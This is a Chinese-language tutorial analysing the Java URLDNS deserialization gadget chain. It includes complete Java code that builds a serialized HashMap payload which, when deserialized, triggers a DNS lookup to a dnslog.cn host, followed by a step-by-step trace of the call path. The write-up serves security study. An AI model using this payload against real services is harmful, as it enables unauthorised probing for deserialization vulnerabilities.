URLDNS链调试
首先看一下payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNS { public static Object urldns() throws Exception{ HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://l7l3q6.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0xAAA); hashMap.put(url, "Yasax1"); f.set(url, -1); return hashMap; } public static void main(String[] args) throws Exception { payload2File(urldns(),"obj"); payloadTest("obj"); } public static void payload2File(Object instance, String file) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
|
HashMap的readObject()
方法
在HashMap的reaadObject()
方法中最后调用的putVal
方法中调用了hash
方法
在hash方法里面可以调用hashCode
方法,同时在java.net,URL
里面的hashCode方法
可以看到,当hashCode不等于-1
的时候,会从handler
调用hashCode
这里的handler是一个URLStreamHandler 对象
transient:将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化
我们在跟进URLStreamHandler
跟进getHostAddress方法
这里有一个InetAddress.getByName(host),获取目标ip地址,其实在网络中就是一次DNS请求
用到的主要就是多态
所以我们只需要new一个hashmap,然后让它的key等于一个java.net.URL对象,然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,到此我们的链子就构造完成了
不过ysoserial跟我们的exp有一些不同,那是因为ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,重写了一个SilentURLStreamHandler类,这和我们的exp中的 f.set(url, 0xAAA);
是一样的效果
测得结果